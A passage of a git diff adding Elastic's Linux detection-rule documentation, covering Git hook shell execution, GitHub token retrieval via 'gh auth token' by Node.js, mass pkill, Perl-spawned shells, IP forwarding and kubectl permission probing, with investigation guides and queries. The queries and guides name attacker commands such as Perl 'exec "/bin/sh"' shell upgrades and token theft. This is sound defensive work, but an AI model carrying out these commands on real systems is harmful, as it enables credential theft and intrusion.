specific Git hook script path and the suspicious process name that was executed, as indicated by the process.args and process.name fields. +- Examine the process tree to understand the parent-child relationship, focusing on the process.parent.name and process.entity_id fields, to determine how the suspicious process was initiated. +- Check the Git repository's history and recent changes to the .git/hooks directory to identify any unauthorized modifications or additions to the hook scripts. +- Investigate the user account associated with the process execution to determine if the activity aligns with their typical behavior or if it indicates potential compromise. +- Analyze the command-line arguments and environment variables of the suspicious process to gather more context on the nature of the executed command. +- Correlate this event with other security alerts or logs from the same host.id to identify any patterns or additional indicators of compromise. +- If possible, isolate the affected system and conduct a deeper forensic analysis to uncover any further malicious activity or persistence mechanisms. + + +*False positive analysis* + + +- Developers using Git hooks for legitimate automation tasks may trigger this rule. To manage this, identify and document common scripts used in your development environment and create exceptions for these known benign processes. +- Continuous integration and deployment (CI/CD) systems often utilize Git hooks to automate workflows. Review the processes initiated by these systems and exclude them from detection if they are verified as non-malicious. +- Custom scripts executed via Git hooks for project-specific tasks can also cause false positives. Collaborate with development teams to catalog these scripts and adjust the detection rule to exclude them. +- Frequent updates or changes in Git repositories might lead to repeated triggering of the rule. Monitor these activities and, if consistent and verified as safe, consider adding them to an allowlist to reduce noise. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Terminate any suspicious processes identified as being executed from Git hooks, especially those involving shell executions. +- Conduct a thorough review of the .git/hooks directory on the affected system to identify and remove any unauthorized or malicious scripts. +- Restore any modified or deleted files from a known good backup to ensure system integrity. +- Implement monitoring for any future modifications to the .git/hooks directory to detect unauthorized changes promptly. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Review and update access controls and permissions for Git repositories to limit the ability to modify hooks to trusted users only. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=3s + [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start", "ProcessRollup2") and + process.parent.name == "git" and process.args : ".git/hooks/*" and + process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") + ] by process.entity_id + [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start", "ProcessRollup2") and + process.parent.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish")] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-github-authentication-token-access-via-node-js.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-github-authentication-token-access-via-node-js.asciidoc new file mode 100644 index 0000000000..79b8ec629e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-github-authentication-token-access-via-node-js.asciidoc @@ -0,0 +1,115 @@ +[[prebuilt-rule-8-19-10-github-authentication-token-access-via-node-js]] +=== GitHub Authentication Token Access via Node.js + +This rule detects when the Node.js runtime spawns a shell to execute the GitHub CLI (gh) command to retrieve a GitHub authentication token. The GitHub CLI is a command-line tool that allows users to interact with GitHub from the terminal. The "gh auth token" command is used to retrieve an authentication token for GitHub, which can be used to authenticate API requests and perform actions on behalf of the user. Adversaries may use this technique to access GitHub repositories and potentially exfiltrate sensitive information or perform malicious actions. This activity was observed in the wild as part of the Shai-Hulud worm. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/blog/shai-hulud-worm-npm-supply-chain-compromise + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Discovery +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Data Source: Crowdstrike + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "ProcessRollup2") and process.parent.name == "node" and +process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args == "gh auth token" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Container and Resource Discovery +** ID: T1613 +** Reference URL: https://attack.mitre.org/techniques/T1613/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-high-number-of-process-terminations.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-high-number-of-process-terminations.asciidoc new file mode 100644 index 0000000000..69240b141d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-high-number-of-process-terminations.asciidoc @@ -0,0 +1,151 @@ +[[prebuilt-rule-8-19-10-high-number-of-process-terminations]] +=== High Number of Process Terminations + +This rule identifies a high number (10) of process terminations via pkill from the same host within a short time period. + +*Rule type*: threshold + +*Rule indices*: + +* logs-endpoint.events.* +* endgame-* +* auditbeat-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Auditd Manager +* Data Source: Crowdstrike + +*Version*: 115 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating High Number of Process Terminations* + + +Attackers can kill processes for a variety of purposes. For example, they can kill process associated with business applications and databases to release the lock on files used by these applications so they may be encrypted,or stop security and backup solutions, etc. + +This rule identifies a high number (10) of process terminations via pkill from the same host within a short time period. + + +*Possible investigation steps* + + +- Examine the entry point to the host and user in action via the Analyse View. + - Identify the session entry leader and session user. +- Examine the contents of session leading to the process termination(s) via the Session View. + - Examine the command execution pattern in the session, which may lead to suspricous activities. +- Examine the process killed during the malicious execution + - Identify imment threat to the system from the process killed. + - Take necessary incident response actions to respawn necessary process. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further destructive behavior, which is commonly associated with this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Reimage the host operating system or restore it to the operational state. +- If any other destructive action was identified on the host, it is recommended to prioritize the investigation and look for ransomware preparation and execution activities. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:linux and event.type:start and process.name:"pkill" and process.args:"-f" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Service Stop +** ID: T1489 +** Reference URL: https://attack.mitre.org/techniques/T1489/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-interactive-terminal-spawned-via-perl.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-interactive-terminal-spawned-via-perl.asciidoc new file mode 100644 index 0000000000..16ae8950a0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-interactive-terminal-spawned-via-perl.asciidoc @@ -0,0 +1,167 @@ +[[prebuilt-rule-8-19-10-interactive-terminal-spawned-via-perl]] +=== Interactive Terminal Spawned via Perl + +Identifies when a terminal (tty) is spawned via Perl. Attackers may upgrade a simple reverse shell to a fully interactive tty after obtaining initial access to a host. + +*Rule type*: query + +*Rule indices*: + +* auditbeat-* +* logs-endpoint.events.* +* endgame-* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Data Source: Crowdstrike + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Interactive Terminal Spawned via Perl* + + +Perl, a versatile scripting language, can execute system commands, making it a target for adversaries seeking to escalate privileges or maintain persistence. Attackers may exploit Perl to spawn interactive terminals, transforming basic shells into robust command interfaces. The detection rule identifies such activity by monitoring process events on Linux systems, specifically when Perl executes shell commands, signaling potential misuse. + + +*Possible investigation steps* + + +- Review the process event logs to confirm the presence of a Perl process with arguments indicating the execution of a shell, such as "exec \"/bin/sh\";", "exec \"/bin/dash\";", or "exec \"/bin/bash\";". +- Identify the user account associated with the Perl process to determine if it aligns with expected activity or if it suggests unauthorized access. +- Examine the parent process of the Perl execution to understand how the Perl script was initiated and assess if it correlates with legitimate user activity or a potential compromise. +- Check for any network connections or data transfers initiated by the Perl process to identify possible exfiltration or communication with external command and control servers. +- Investigate any recent changes to user accounts, permissions, or scheduled tasks that might indicate privilege escalation or persistence mechanisms associated with the Perl activity. +- Correlate the event with other security alerts or logs from the same host to identify patterns or additional indicators of compromise that could suggest a broader attack campaign. + + +*False positive analysis* + + +- System maintenance scripts that use Perl to execute shell commands may trigger this rule. Review and whitelist known maintenance scripts by adding exceptions for specific script paths or process arguments. +- Automated deployment tools that utilize Perl for executing shell commands can cause false positives. Identify these tools and exclude their specific process arguments or execution paths from the detection rule. +- Development environments where Perl is used for testing or debugging purposes might inadvertently spawn interactive terminals. Consider excluding processes initiated by known development user accounts or within specific development directories. +- Backup or monitoring scripts that rely on Perl to perform system checks or data collection could be flagged. Analyze these scripts and create exceptions based on their unique process arguments or execution context. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious Perl processes identified by the detection rule to halt any ongoing malicious activity. +- Conduct a thorough review of the affected system's logs and process history to identify any additional indicators of compromise or related malicious activity. +- Reset credentials and review access permissions for any accounts that may have been compromised or used in the attack. +- Restore the affected system from a known good backup to ensure any malicious changes are removed. +- Implement additional monitoring on the affected host and network to detect any further attempts to exploit Perl for spawning interactive terminals. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if broader organizational impacts exist. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:linux and event.type:(start or process_started) and process.name:perl and + process.args:("exec \"/bin/sh\";" or "exec \"/bin/dash\";" or "exec \"/bin/bash\";") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-ipv4-ipv6-forwarding-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-ipv4-ipv6-forwarding-activity.asciidoc new file mode 100644 index 0000000000..ef4114d26e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-ipv4-ipv6-forwarding-activity.asciidoc @@ -0,0 +1,126 @@ +[[prebuilt-rule-8-19-10-ipv4-ipv6-forwarding-activity]] +=== IPv4/IPv6 Forwarding Activity + +This rule monitors for the execution of commands that enable IPv4 and IPv6 forwarding on Linux systems. Enabling IP forwarding can be used to route network traffic between different network interfaces, potentially allowing attackers to pivot between networks, exfiltrate data, or establish command and control channels. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Crowdstrike + +*Version*: 106 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating IPv4/IPv6 Forwarding Activity* + + +IPv4/IPv6 forwarding allows a Linux system to route traffic between network interfaces, facilitating network communication. While essential for legitimate network operations, adversaries can exploit this capability to pivot across networks, exfiltrate data, or maintain control channels. The detection rule identifies suspicious command executions that enable IP forwarding, focusing on specific command patterns and processes, thus highlighting potential misuse. + + +*Possible investigation steps* + + +- Review the process command line details to understand the context in which IP forwarding was enabled, focusing on the specific command patterns identified in the alert. +- Identify the parent process of the suspicious command execution using the process.parent.executable field to determine if it was initiated by a legitimate or potentially malicious process. +- Check the user account associated with the process execution to assess if the action was performed by an authorized user or if there are signs of compromised credentials. +- Investigate recent network activity on the host to identify any unusual traffic patterns or connections that could indicate data exfiltration or lateral movement. +- Correlate the alert with other security events or logs from the same host or network segment to identify any related suspicious activities or patterns. +- Assess the system's current configuration and network topology to determine if enabling IP forwarding could have been part of a legitimate administrative task or if it poses a security risk. + + +*False positive analysis* + + +- Routine administrative tasks may trigger the rule when system administrators enable IP forwarding for legitimate network configuration purposes. To manage this, create exceptions for known administrative scripts or processes that regularly perform these actions. +- Automated scripts or configuration management tools like Ansible or Puppet might execute commands that match the rule's criteria. Identify these tools and exclude their processes from the rule to prevent false alerts. +- Network testing or troubleshooting activities often require temporary enabling of IP forwarding. Document and exclude these activities when performed by trusted users or during scheduled maintenance windows. +- Virtualization or container orchestration platforms may enable IP forwarding as part of their normal operations. Recognize these platforms and adjust the rule to ignore their specific processes or command patterns. +- Security tools or network monitoring solutions might also enable IP forwarding for analysis purposes. Verify these tools and exclude their processes to avoid unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected Linux system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified by the detection rule, particularly those enabling IP forwarding, to halt potential lateral movement or data exfiltration. +- Conduct a thorough review of network traffic logs to identify any unusual or unauthorized connections that may indicate command and control activity. +- Revert any unauthorized changes to system configurations, specifically those related to IP forwarding settings, to restore the system to its secure state. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are compromised. +- Implement network segmentation to limit the ability of attackers to pivot between networks in the future. +- Enhance monitoring and alerting for similar suspicious activities by tuning detection systems to recognize patterns associated with IP forwarding misuse. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start", "exec_event", "ProcessRollup2") and +?process.parent.executable != null and process.command_line like ( + "*net.ipv4.ip_forward*", "*/proc/sys/net/ipv4/ip_forward*", "*net.ipv6.conf.all.forwarding*", + "*/proc/sys/net/ipv6/conf/all/forwarding*" +) and ( + (process.name == "sysctl" and process.args like ("*-w*", "*--write*", "*=*")) or + ( + process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args == "-c" and + process.command_line like "*echo *" + ) +) and +not process.parent.name like~ ("privsep-helper", "platform-python*", "init.ipv6-global", "wsl-bootstrap") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Protocol Tunneling +** ID: T1572 +** Reference URL: https://attack.mitre.org/techniques/T1572/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-kubectl-permission-discovery.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-kubectl-permission-discovery.asciidoc new file mode 100644 index 0000000000..ef373ff57a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-kubectl-permission-discovery.asciidoc @@ -0,0 +1,151 @@ +[[prebuilt-rule-8-19-10-kubectl-permission-discovery]] +=== Kubectl Permission Discovery + +This rule detects the use of the "kubectl auth --can-i" command, which is used to check permissions in Kubernetes clusters. Attackers may use this command to enumerate permissions and discover potential misconfigurations in the cluster, allowing them to gain unauthorized access or escalate privileges. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-crowdstrike.fdr* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/reference/kubectl/generated/kubectl_auth/kubectl_auth_can-i/ + +*Tags*: + +* Domain: Endpoint +* Domain: Container +* Domain: Kubernetes +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Data Source: Crowdstrike + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubectl Permission Discovery* + + +Kubectl is a command-line tool for interacting with Kubernetes clusters, allowing users to manage applications and resources. Adversaries may exploit the "kubectl auth can-i" command to probe for permission misconfigurations, potentially leading to unauthorized access or privilege escalation. The detection rule identifies this activity by monitoring specific command executions on Linux systems, flagging potential misuse for further investigation. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the use of the "kubectl auth can-i" command, focusing on the process name "kubectl" and arguments "auth" and "can-i". +- Identify the user account associated with the execution of the command to determine if it aligns with expected administrative activity or if it indicates potential unauthorized access. +- Check the timing and frequency of the command execution to assess whether it corresponds with routine operations or suggests suspicious behavior. +- Investigate the source IP address or hostname from which the command was executed to verify if it originates from a known and trusted environment. +- Examine related logs and events around the time of the alert to identify any subsequent actions that might indicate privilege escalation or unauthorized access attempts. +- Cross-reference the alert with any recent changes or incidents in the Kubernetes cluster to determine if the command execution is part of a broader security concern. + + +*False positive analysis* + + +- Routine administrative checks by authorized personnel can trigger the rule. To manage this, create exceptions for specific user accounts or roles that regularly perform these checks as part of their job duties. +- Automated scripts or monitoring tools that verify permissions as part of their normal operation may cause false positives. Identify these scripts and whitelist their execution paths or associated service accounts. +- Development and testing environments where developers frequently check permissions might lead to alerts. Consider excluding these environments from the rule or adjusting the risk score for these specific contexts. +- Scheduled audits or compliance checks that involve permission verification can be mistaken for malicious activity. Document these activities and set up time-based exceptions to prevent unnecessary alerts during known audit periods. + + +*Response and remediation* + + +- Immediately isolate the affected Kubernetes cluster to prevent further unauthorized access or privilege escalation. +- Revoke any suspicious or unauthorized credentials or tokens identified during the investigation to prevent further misuse. +- Conduct a thorough review of the Kubernetes Role-Based Access Control (RBAC) configurations to identify and rectify any permission misconfigurations. +- Implement stricter access controls and least privilege principles for Kubernetes users and service accounts to minimize the risk of unauthorized access. +- Monitor for any additional suspicious activity or anomalies in the cluster, focusing on access patterns and command executions. +- Escalate the incident to the security operations team for further analysis and to determine if additional clusters or systems are affected. +- Update detection and monitoring systems to enhance visibility and alerting for similar permission discovery attempts in the future. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. 